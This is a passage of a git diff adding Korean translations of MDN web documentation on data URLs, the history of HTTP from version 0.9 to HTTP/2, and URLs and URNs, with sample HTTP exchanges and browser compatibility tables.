+<p>데이터가 텍스트인 경우, 단순히 텍스트를 (포함된 문서 유형에 따라 적합한 엔티티 혹은 이스케이프를 사용하여) 임베드할 수 있습니다. 그게 아니라면, base64로 인코딩된 이진 데이터를 임베드하기 위해 <code>base64</code>를 지정할 수 있습니다.</p>
+
+<p>몇 가지 예제:</p>
+
+<dl>
+ <dt><code>data:,Hello%2C%20World!</code></dt>
+ <dd>간단한 text/plain 데이터</dd>
+ <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt>
+ <dd>위 예제의 base64 인코딩 버전</dd>
+ <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt>
+ <dd><code>&lt;h1&gt;Hello, World!&lt;/h1&gt;인 HTML 문서</code></dd>
+ <dt><code>data:text/html,&lt;script&gt;alert('hi');&lt;/script&gt;</code></dt>
+ <dd>자바스크립트 얼럿을 실행하는 HTML 문서입니다. 닫기 스크립트 태그가 필요하다는 것을 기억하세요.</dd>
+</dl>
+
+<h2 id="base64_포맷으로_데이터_인코딩하기">base64 포맷으로 데이터 인코딩하기</h2>
+
+<p>리눅스와 Mac OS X 시스템의 명령줄에서 <code>uuencode</code> 유틸리티를 사용해 쉽게 인코딩할 수 있습니다:</p>
+
+<pre>uuencode -m infile remotename
+</pre>
+
+<p><code>infile</code> 파라메터는 base64 포맷으로 인코딩하려는 파일의 이름이며, <code>remotename</code>는 파일에 대한 원격지 이름으로 <code>data</code> URLs내에서는 실제로 사용되지 않습니다.</p>
+
+<p>출력은 다음과 같은 내용일 겁니다:</p>
+
+<pre>begin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+</pre>
+
+<p>Data URI는 초기 헤더줄 다음의 인코딩된 데이터를 사용하게 됩니다.</p>
+
+<h3 id="웹_페이지에서_JavaScript_사용하기">웹 페이지에서 JavaScript 사용하기</h3>
+
+<p>웹 API는 base64로 인코딩하거나 디코딩하기 위한 프리미티브를 가지고 있습니다: <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 인코딩과 디코딩</a>.</p>
+
+<h2 id="일반적인_문제점">일반적인 문제점</h2>
+
+<p>이 섹션에서는 <code>data</code> URIs를 만들고 사용할 때 일반적으로 발생하는 문제점들에 대해 설명합니다.</p>
+
+<dl>
+ <dt>구문</dt>
+ <dd><code>data</code> URIs를 위한 문법은 매우 간단하지만, "data" 세그먼트 앞에 콤마를 넣는 것을 쉽게 잊거나 데이터를 base64 포맷으로 부정확하게 인코딩하는 경우가 있습니다.</dd>
+ <dt>HTML 내에 포맷시키기</dt>
+ <dd><code>data</code> URI는 동봉된 문서의 너비에 비례할 가능성이 높은 파일 내에 파일을 제공하게 됩니다. URL로 <code>data</code>를 공백 문자(라인 피드, 탭 혹은 스페이스)을 사용해 포맷이 가능해야 하지만 <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">base64 인코딩을 사용할 때</a> 일어나는 실질적인 문제가 있습니다.</dd>
+ <dt>길이 제한</dt>
+ <dd>파이어폭스는 기본적으로 길이 제한이 없는 <code>data</code> URIs를 지원하지만, 브라우저들은 데이터의 개별적인 최대 길이를 제공해야 할 의무가 없습니다. 예를 들어, 오페라 11 브라우저는 <code>data</code> URL을 65529 문자로 제한하는 65535 개의 character long으로 제한합니다(MIME 타입을 지정하지 않고 plain <code>data</code>를 사용한다면, 소스가 아닌 인코딩된 데이터의 길이는 65529자가 됩니다).</dd>
+ <dt>오류 처리의 부족</dt>
+ <dd>미디어 내의 유효하지 않은 파라메터들 또는 '<code>base64</code>'를 지정할 때 오타들은 무시되지만 오류가 발생하지는 않습니다.</dd>
+ <dt>쿼리 문자열에 대한 미지원 등</dt>
+ <dd>
+ <p>data URI의 data 일부는 불명확해서 데이터 URI를 이용해 쿼리 문자열(<code>&lt;url&gt;?parameter-data</code> 문법을 이용한 페이지 특정의 파라메터)을 사용하려는 시도는 URI가 나타내는 데이터 내에 쿼리 문자열을 포함하게 됩니다. 예를 들어: </p>
+
+ <pre>data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+ <p>이는 내용이 다음과 같은 HTML 리소스를 나타냅니다:</p>
+
+ <pre class="eval">lots of text...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+ </dd>
+</dl>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("2397")}}</td>
+ <td>The "data" URL scheme"</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Edge</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>12<sup>[2]</sup></td>
+ <td>{{CompatIE(8)}}<sup>[1][2]</sup></td>
+ <td>7.20</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] IE8은 CSS 파일 내의 data URIs만 최대 32kB 크기 내에서 지원합니다.</p>
+
+<p>[2]IE9과 그 이후, 그리고 엣지를 포함한 버전은 CSS와 JS 파일 내 data URIs를 최대 크기 4GB내에서 지원하지만, HTML 파일 내에서는 지원하지 않습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 인코딩과 디코딩</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/en-US/docs/URI">URI</a></li>
+</ul>
diff --git a/files/ko/web/http/basics_of_http/evolution_of_http/index.html b/files/ko/web/http/basics_of_http/evolution_of_http/index.html
new file mode 100644
index 0000000000..827ca42f63
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/evolution_of_http/index.html
@@ -0,0 +1,201 @@
+---
+title: HTTP의 진화
+slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+tags:
+ - HTTP
+ - HTTP 역사
+ - 가이드
+translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p><strong>HTTP</strong>는 월드 와이드 웹에 내재된 프로토콜입니다. Tim Berners-Lee에 의해 1989년부터 1991년에 발명된 HTTP는, 본래의 단순함의 대부분을 지키면서 확장성 위에서 만들어지도록, 많은 수정을 거쳐왔습니다. HTTP는 의사-신뢰도가 있는 실험실 환경에서 파일을 교환하는 프로토콜에서 높은 수준의 분석과 3D 내에서 이미지와 비디오를 실어나르는 현대 인터넷 정글로 진화해 왔습니다.</p>
+
+<h2 id="월드_와이드_웹의_발명">월드 와이드 웹의 발명</h2>
+
+<p>1989년 당시 제네바의 CERN에서 일하고 있던 Tim Berners-Lee는 인터넷 상의 하이퍼텍스트 시스템을 만들기 위한 제안을 작성했습니다. 초기에 <em>Mesh</em>라고 불리던 그것은 1990년에 구현 과정에서 <em>월드 와이드 웹</em>으로 이름을 바꿨습니다. 기존의 TCP 그리고 IP 프로토콜 상에서 만들어지면서 4개의 빌딩 블록으로 구성되었습니다:</p>
+
+<ul>
+ <li>하이퍼텍스트 문서를 표현하기 위한 텍스트 형식의 <em><a href="/en-US/docs/Web/HTML">하이퍼텍스트 마크업 언어</a></em> (HTML).</li>
+ <li>문서 같은 것을 교환하기 위한 간단한 프로토콜인 <em>하이퍼텍스트 전송 프로토콜 </em>(HTTP).</li>
+ <li>문서를 디스플레이(그리고 우발적으로 수정)하기 위한 클라이언트인 <em>월드 와이드 웹</em>(WorldWideWeb)이라고 불리는 첫번째 브라우저.</li>
+ <li>문서에 접근하도록 해주는, <em>httpd</em>의 초기 버전.</li>
+</ul>
+
+<p>이 네 개의 빌드 블록은 1990년 말에 완료되었으며, 첫번째 서버는 1991년 초에 CERN 외부에서 가동을 시작했습니다. 1991년 9월 6일, <em>alt.hypertext</em> 공개 뉴스 그룹의 Tim Berners-Lee의 <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">포스트</a>가 공개 프로젝트로써의 월드 와이드 웹의 공식적인 출발점으로 여겨집니다.</p>
+
+<p>이렇게 초기 단계에 사용되던 HTTP 프로토콜은 매우 간단했으며 이후 HTTP/0.9 버전을 부여했으며 때로는 원-라인 프로토콜로 불리기도 했습니다.</p>
+
+<h2 id="HTTP0.9_–_원-라인_프로토콜">HTTP/0.9 – 원-라인 프로토콜</h2>
+
+<p>HTTP 초기 버전에는 버전 번호가 없었습니다; HTTP/0.9는 이후에 차후 버전과 구별하기 위해 0.9로 불리게 됐습니다. HTTP/0.9는 극히 단순합니다: 요청은 단일 라인으로 구성되며 리소스에 대한 (프로토콜, 서버 그리고 포트는 서버가 연결되고 나면 불필요로 하므로 URL은 아닌) 경로로 가능한 메서드는 {{HTTPMethod("GET")}}이 유일했습니다.</p>
+
+<pre>GET /mypage.html</pre>
+
+<p>응답 또한 극도로 단순합니다: 오로지 파일 내용 자체로 구성됩니다.</p>
+
+<pre>&lt;HTML&gt;
+A very simple HTML page
+&lt;/HTML&gt;</pre>
+
+<p>그 이후에 진화와는 다르게, HTTP 헤더가 없었는데 이는 HTML 파일만 전송될 수 있으며 다른 유형의 문서는 전송될 수 없음을 의미합니다. 상태 혹은 오류 코드도 없었습니다: 문제가 발생한 경우, 특정 HTML 파일이 사람이 처리할 수 있도록, 해당 파일 내부에 문제에 대한 설명과 함께 되돌려 보내졌었습니다.</p>
+
+<h2 id="HTTP1.0_–_확장성_만들기">HTTP/1.0 – 확장성 만들기</h2>
+
+<p>HTTP/0.9는 매우 제한적이었으며 브라우저와 서버 모두 좀 더 융통성을 가지도록 빠르게 확장되었습니다:</p>
+
+<ul>
+ <li>버전 정보가 각 요청 사이내로 전송되기 시작했습니다. (<code>HTTP/1.0</code> 이 <code>GET</code> 라인에 붙은 형태로)</li>
+ <li>상태 코드 라인 또한 응답의 시작 부분에 붙어 전송되어, 브라우저가 요청에 대한 성공과 실패를 알 수 있고 그 결과에 대한 동작(특정 방법으로 그것의 로컬 캐시를 갱신하거나 사용하는 것과 같은)을 할 수 있게 되었습니다.</li>
+ <li>HTTP 헤더 개념은 요청과 응답 모두를 위해 도입되어, 메타데이터 전송을 허용하고 프로토콜을 극도로 유연하고 확장 가능하도록 만들어주었습니다.</li>
+ <li>새로운 HTTP 헤더의 도움으로, 평이한 HTML 파일들 외에 다른 문서들을 전송하는 기능이 추가되었습니다({{HTTPHeader("Content-Type")}} 덕분에).</li>
+</ul>
+
+<p>다음은 일반적인 요청과 응답입니다:</p>
+
+<pre>GET /mypage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+&lt;HTML&gt;
+A page with an image
+ &lt;IMG SRC="/myimage.gif"&gt;
+&lt;/HTML&gt;</pre>
+
+<p>두 번재 커넥션에 의한 이미지를 내려받기 위한 요청과 그에 대한 응답입니다:</p>
+
+<pre>GET /myimage.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+<em>(image content)</em></pre>
+
+<p>이런 새로운 기능들은 합의된 노력들로써 도입되지는 않았지만 1991년부터 1995년까지의 기간 동안 일단 해보자는 접근법으로 이루어졌습니다: 서버와 브라우저에 기능을 추가한 뒤, 그것이 관심을 끄는지 지켜보았습니다. 수많은 상호작용의 문제는 일반적이었습니다. 1996년 11월에, 이런 괴로운 문제를 해결하기 위해, 일반적인 실제 내용을 설명하는 정보 문서는 {{RFC(1945)}}에 공개되었습니다. 이것이 HTTP/1.0의 정의이며, 용어의 좁은 의미에서 공식적인 표준이 아니라는 것은 주목할 만한 일입니다.</p>
+
+<h2 id="HTTP1.1_–_표준_프로토콜">HTTP/1.1 – 표준 프로토콜</h2>
+
+<p>1995부터 다양한 HTTP/1.0 구현이 동시에 진행되어, 그 이듬해 HTTP/1.0 문서 출간 전까지, 합당한 표준화가 진행 중에 있었습니다. HTTP의 첫번째 표준 버전인 HTTP/1.1은 HTTP/1.0이 나온지 몇 달 안되서 1997년 초에 공개되었습니다.</p>
+
+<p>HTTP/1.1은 모호함을 명확하게 하고 많은 개선 사항들을 도입했습니다:</p>
+
+<ul>
+ <li>커넥션이 재사용될 수 있게 하여, 탐색된 단일 원본 문서 내로 임베드된 리소스들을 디스플레이하기 위해 사용된 커넥션을 다시 열어 시간을 절약하게 하였습니다.</li>
+ <li>파이프라이닝을 추가하여, 첫번째 요청에 대한 응답이 완전히 전송되기 이전에 두번째 요청 전송을 가능케 하여, 커뮤니케이션 레이턴시를 낮췄습니다.</li>
+ <li>청크된 응답 또한 지원됩니다.</li>
+ <li>추가적인 캐시 제어 메커니즘이 도입되었습니다.</li>
+ <li>언어, 인코딩 혹은 타입을 포함한 컨텐츠 협상이 도입되어, 클라이언트와 서버로 하여금 교환하려는 가장 적합한 컨텐츠에 대한 동의를 가능케 했습니다.</li>
+ <li>{{HTTPHeader("Host")}} 헤더 덕분에, 동일 IP 주소에 다른 도메인을 호스트하는 기능이 서버 코로케이션을 가능케 합니다.</li>
+</ul>
+
+<p>다음은 하나의 단일 커넥션을 통한 요청의 전형적인 전체 흐름의 예시입니다:</p>
+
+<pre>GET /en-US/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+<em>(content)</em>
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+<em>(image content of 3077 bytes)</em></pre>
+
+<p>HTTP/1.1는 1997년 1월에 {{rfc(2068)}}에서 처음 공개되었습니다.</p>
+
+<h2 id="15년_넘게_진행된_확장">15년 넘게 진행된 확장</h2>
+
+<p>(새로운 헤더 혹은 메서드를 생성하기 쉬운) 확장성 덕분에, 그리고 1999년 6월에 공개된 {{RFC("2616")}}과 HTTP/2 릴리즈의 예견 속에서 2014년 6월에 공개된 {{RFC("7230")}}-{{RFC("7235")}} 시리즈, 그런 두번에 걸친 리비전을 통해 정재되었에도, 이 프로토콜은 15년 넘도록 극도로 안정성을 유지해왔습니다.</p>
+
+<h3 id="보안_전송을_위한_HTTP_사용">보안 전송을 위한 HTTP 사용</h3>
+
+<p>HTTP에 일어났던 가장 큰 변화는 1994년 말에 이미 완료되었습니다. 기본적인 TCP/IP 스택을 통해 HTTP를 전송하는 대신에, 넷스케이프 커뮤니케이션은 그것의 토대 위에 추가적인 암호화된 전송 계층인 SSL을 만들어냈습니다. SSL 1.0은 회사 외부로 릴리즈된 적이 없으며, SSL 2.0과 그것의 후계자인 SSL 3.0과 SSL 3.1은 서버와 클라이언트 간에 교환된 메시지 인증을 암호화하고 보장하여 e-커머스 웹 사이트를 만들어내도록 했습니다. SSL은 표준 트랙 상에 놓여져 있었고 마침내 TLS가 되어, 성공적으로 취약성을 종식시키는 1.0, 1.1 그리고 1.2 버전이 나와있습니다. TLS 1.3은 현재 진행 중에 있습니다.</p>
+
+<p>같은 시간 동안, 암호화된 전송 계층에 대한 필요성이 대두되었습니다: 웹은 광고주, 불특정 개인, 혹은 범죄자가 다른 사람인척 가장하거나 전송된 데이터를 수정된 데이터로 대치시키고자, 개인 정보를 빼내려고 경쟁하는 정글 속에, 거의 학문적인 네트워크의 상대적인 신뢰를 남겨두었습니다. HTTP 상에서 만들어진 애플리케이션들이 주소록, 이메일 혹은 사용자의 지리적 위치와 같은 수 많은 개인 정보에 접근하는 등 점점 더 강력해짐에 따라, TLS의 필요성은 e-커머스 사용 케이스 외에 여기 저기서 나타나게 되었습니다.</p>
+
+<h3 id="복잡한_애플리케이션을_위한_HTTP_사용">복잡한 애플리케이션을 위한 HTTP 사용</h3>
+
+<p>웹에 대한 Tim Berners-Lee의 본래 비전은 읽기 전용의 매체는 아니었습니다. 그는 사람들이 문서를 원격으로 추가하거나 이동시킬 수 있는, 분산된 파일 시스템의 한 종류로 웹을 상상했었습니다. 1996 쯤, HTTP는 저작을 허용하도록 확장되었으며 WebDAV라고 불리는 표준이 만들어졌습니다. 그것은 주소록 개체들을 다루기 위한 CardDAV 그리고 달력을 다루기 위한 CalDav와 같은 특정 애플리케이션들로 더 확장되었습니다. 그러나 이런 모든 *DAV 확장들은 한 가지 결점을 갖고 있었습니다: 꽤 복잡한, 사용하고 있는 서버에 의해 구현되어야만 한다는 것이었죠. 웹 영역에서 그것들을 사용하는 것은 극비로 남겨져 있었습니다.</p>
+
+<p>2000년에, HTTP 사용에 대한 새로운 패턴이 고안되었습니다: {{glossary("REST", "representational state transfer")}} (혹은 REST). API에 의해 유도되는 액션들은 새로운 HTTP 메서드 뿐만 아니라, 기초적인 HTTP/1.1 메서드를 이용한 특정 URI 접근에 의해서도 더 이상 전달되지 않았습니다. 이것은 모든 웹 애플리케이션으로 하여금 브라우저나 서버의 갱신없이 데이터 탐색과 수정을 허용하는 API 제공을 가능케했습니다: 필요로 하는 모든 것은 표준 HTTP/1.1을 통해 웹 사이트에 의해 서브되는 파일 내로 임베드되는 것이었습니다. REST 모델의 단점은 각각의 웹사이트가 자신의 비표준 RESTful API를 정의하고 그에 대한 전권을 가진다는 사실에 있습니다; *DAV 확장과는 다르게 클라이언트와 서버들은 상호작용이 가능합니다. RESTful API들은 2010년에 들어 매우 일반적인 게 되었습니다.</p>
+
+<p>2005년부터, 웹 페이지에서 사용 가능한 API 집합들이 급격히 늘어나게 되었고 이들 API 중 몇몇은, 거의 새로운 특성화된 HTTP 헤더로, 특정한 목적을 위해 HTTP 프로토콜에 확장을 만들어냈습니다:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">서버 전송 이벤트</a>, 서버가 브라우저로 이따금씩 보내는 메시지를 푸쉬할 수 있는 곳.</li>
+ <li><a href="/en-US/docs/Web/API/WebSocket_API">웹소켓</a>, 기존 HTTP 커넥션을 업그레이드하여 만들 수 있는 새로운 프로토콜.</li>
+</ul>
+
+<h3 id="웹의_보안_모델_완화">웹의 보안 모델 완화</h3>
+
+<p>HTTP는 웹의 보안 모델인 <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin 정책</a>에서 독립되어 있습니다. 사실, 현재의 웹 보안 모델은 HTTP이 만들어진 이후에 개발되어 왔습니다! 몇 년에 걸쳐, 이 정책의 몇 가지 정책을 고무시키기 위해 확실한 제약사항 아래 허용함으로써, 좀 더 관대해지도록 하는 것이 유용하다는 것을 증명해왔습니다. 제약사항이 얼마나 그리고 언제 리프트될지는 HTTP 헤더의 새로운 묶음들을 사용하는 서버부터 클라이언트에 의해 전도됩니다. 이러한 내용들은 <a href="/en-US/docs/Glossary/CORS">Cross-Origin 리소스 공유</a> (CORS) 혹은 <a href="/en-US/docs/Web/Security/CSP">컨텐츠 보안 정책</a> (CSP)과 같은 스펙 내에 정의되어 있습니다.</p>
+
+<p>이런 커다란 확장에 덧붙여, 다른 많은 헤더들이, 때로는 실험적으로만, 추가되어 오고 있습니다. 주목할 만한 헤더들은 프라이버시를 제어하기 위한 Do Not Track ({{HTTPHeader("DNT")}}) 헤더, {{HTTPHeader("X-Frame-Options")}}, 혹은 {{HTTPHeader('Upgrade-Insecure-Request')}}이 있고, 그 외에도 수많은 헤더들이 존재합니다.</p>
+
+<h2 id="HTTP2_–_더_나은_성능을_위한_프로토콜">HTTP/2 – 더 나은 성능을 위한 프로토콜</h2>
+
+<p>몇 년에 걸쳐, 웹 페이지는 매우 복잡해지면서, 종종 진정한 애플리케이션이 됩니다. 디스플레이되는 시각적 미디어의 양에 덧붙여 상호작용을 추가하기 위한 스크립트의 양과 크기는 점점 더 많이 증가하고 있습니다: 더 많은 데이터들이 더 많은 요청 너머로 전송되고 있습니다. HTTP/1.1 커넥션은 올바른 순서로 전송되는 요청을 필요로 합니다. 또한, 몇몇 병렬 커넥션이 이론적으로 사용 가능한 경우(일반적으로 5와 8 사이에서), 여전히 많은 양의 오버헤드와 복잡도가 남아 있습니다.  예를 들어, HTTP 파이프라이닝은 디플로이 악몽임이 확실해졌습니다.</p>
+
+<p>2010년 전반기에, Google은 실험적인 SPDY 프로토콜을 구현하여, 클라이언트와 서버 간의 데이터 교환을 대체할 수단을 실증하였습니다. 그것은 브라우저와 서버 측 모두에 있어 많은 관심을 불러일으켰습니다. 응답성 증가 능력을 입증하고 전송된 데이터 중복에 관한 문제를 해결하면서, SPDY는 HTTP/2 프로토콜의 기초로써 기여했습니다.</p>
+
+<p>HTTP/2 프로토콜은 HTTP/1.1 버전과 다른 몇가지 근본적인 차이점을 가지고 있습니다:</p>
+
+<ul>
+ <li>그것은 텍스트 프로토콜이라기 보다는 이진 프로토콜입니다. 더 이상 읽을 수도 없고 수작업을 만들어낼 수 없습니다; 이런 결점에 대한 보상으로, 새로운 최적화 기술이 구현될 수 있습니다.</li>
+ <li>병렬 요청이 동일한 커넥션 상에서 다루어질 수 있는 다중화 프로토콜로, 순서를 제거해주고 HTTP/1.x 프로토콜의 제약사항을 막아줍니다.</li>
+ <li>전송된 데이터의 분명한 중복과 그런 데이터로부터 유발된 불필요한 오버헤드를 제거하면서, 연속된 요청 사이의 매우 유사한 내용으로 존재하는 헤더들을 압축시킵니다.</li>
+ <li>서버로 하여금 사전에 클라이언트 캐시를 서버 푸쉬라고 불리는 메커니즘에 의해, 필요하게 될 데이터로 채워넣도록 허용합니다.</li>
+</ul>
+
+<p>2015년 5월에 공식적으로 표준화된, HTTP/2는 큰 성공을 거두었습니다: 2016년 6월, 모든 웹 사이트 중 8.7%<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup>가 이미 사용 중에 있고, 이것은 모든 요청의 68%<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a> </sup>이상을 나타냅니다. 인터넷 상에서 전송 오버헤드 감소로 많은 돈을 절약하는 높은 트래픽의 웹 사이트들은 이 프로토콜을 급속히 받아들이고 있습니다.</p>
+
+<p>이러한 급격한 채택은 HTTP/2가 웹 사이트와 애플리케이션의 채택이 필요하지 않았기에 가능했습니다: HTTP/1.1을 사용할지 HTTP/2를 사용할지 고민할 필요가 없어졌습니다. 최신 브라우저와 통신하는 최신의 서버를 갖는 것은 프로토콜 사용을 활성화하는 것만으로 충분합니다: 어느 정도의 제한된 액터 세트만이 HTTP/2 채택을 불러일으키는데 필요했으며 브라우저와 서버 버전이 교체됨에 따라, 웹 개발자의 투입없이도 HTTP/2의 사용은 자연스럽게 증가했습니다.</p>
+
+<h2 id="차세대-HTTP2로의_진화">차세대-HTTP/2로의 진화</h2>
+
+<p>HTTP는 HTTP/2의 릴리즈와 함께 진화를 멈추지 않았습니다. HTTP/1.x처럼, 확장성은 여전히 새로운 기능들을 추가하는데 사용되고 있습니다. 주목할 만한 중요성에 있어 2016년에 나타난 HTTP의 새로운 확장들을 들 수 있습니다:</p>
+
+<ul>
+ <li>{{HTTPHeader("Alt-Svc")}} 지원은 좀 더 영리한 {{Glossary("CDN")}} 메커니즘을 따라, 신분 증명의 개념과 주어진 자원의 위치를 분리하도록 해줍니다.</li>
+ <li>{{HTTPHeader("Client-Hints")}}의 도입으로 브라우저 혹은 클라이언트가 요구사항이나 서버의 하드웨어 제약사항에 관한 정보를 사전에 미리 주고 받을 수 있게 되었습니다.</li>
+ <li>{{HTTPHeader("Cookie")}} 내에 보안 관련 접두사 도입은 보안 쿠키가 변경되지 않았다는 것을 보장하는데 도움을 줍니다.</li>
+</ul>
+
+<p>HTTP의 진화는 그것의 확장성과 단순함이 예측 불가능한 애플리케이션과 프로토콜 채택을 만들어내고 있다는 것을 보여줍니다. 오늘날 HTTP가 사용되는 환경은 1990년 초에 상상하던 것과는 완전히 다릅니다. HTTP 본래의 설계가 걸작이 되었음을 지난 25년 넘게 호환되지 않는 진화의 요구없이 웹을 진화시킴으로 증명했습니다. 25년 넘게 HTTP의 성공을 만들어 온 유연함과 확장성을 유지하는 동시에, 수년 넘게 밝혀진 많은 결함들을 수정한 덕택에, HTTP/2의 등장은 프로토콜에 대한 밝은 미래를 암시하는 것처럼 보입니다.</p>
diff --git a/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html
new file mode 100644
index 0000000000..ddf7faa316
--- /dev/null
+++ b/files/ko/web/http/basics_of_http/identifying_resources_on_the_web/index.html
@@ -0,0 +1,167 @@
+---
+title: 웹 리소스 식별
+slug: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 요청 대상을 "리소스"라고 부르는데, 그에 대한 본질을 이 이상으로 정의할 수 없습니다; 그것은 문서, 사진 또는 다른 어떤 것이든 될 수 있습니다. 각 리소스는 리소스 식별을 위해 HTTP 전체에서 사용되는 Uniform Resource Identifier ({{Glossary("URI")}})에 의해 식별됩니다.</p>
+
+<p>웹에서 리소스에 대한 식별과 위치는 대부분 단일 URL(Uniform Resource Locator, URI의 한 종류)로 제공됩니다. 그러나 때로 식별과 위치가 동일한 URI로 제공되지 않는데에는 이유가 있습니다: 요청된 리소스에 대해 클라이언트가 다른 위치에서 접근하도록 해야 할 경우, HTTP는 특정 HTTP 헤더인 {{HTTPHeader("Alt-Svc")}}을 사용합니다.</p>
+
+<h2 id="URLs_그리고_URNs">URLs 그리고 URNs</h2>
+
+<h3 id="URLs">URLs</h3>
+
+<p>URI의 가장 일반적인 형식은 <em>웹 주소</em>라고하는 Uniform Resource Locator ({{Glossary("URL")}})입니다.</p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL</pre>
+
+<p>그런 URL 중 어떤 것이든 당신의 브라우저 주소 표시줄에 입력하여 그와 연관된 페이지(리소스)를 로드하도록 지정할 수 있습니다.</p>
+
+<p>URL은 서로 다른 파트들로 구성되며, 어떤 것들은 필수이며 그 외에는 선택 사항입니다. 좀 더 복잡한 예제는 다음과 같습니다:</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<h3 id="URNs">URNs</h3>
+
+<p>URN은 개별적인 네임스페이스 내에서 이름에 의해 리소스를 식별하는 URI를 말합니다.</p>
+
+<pre>urn:isbn:9780141036144
+urn:ietf:rfc:7230
+</pre>
+
+<p>위 두 개의 URN은 다음 내용을 나타냅니다</p>
+
+<ul>
+ <li>George Orwell이 쓴 1984년이라는 책</li>
+ <li>IETF 스펙 문서 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.</li>
+</ul>
+
+<h2 id="Uniform_Resource_Identifiers_(URIs)_구문">Uniform Resource Identifiers (URIs) 구문</h2>
+
+<h3 id="스킴_혹은_프로토콜">스킴 혹은 프로토콜</h3>
+
+<dl>
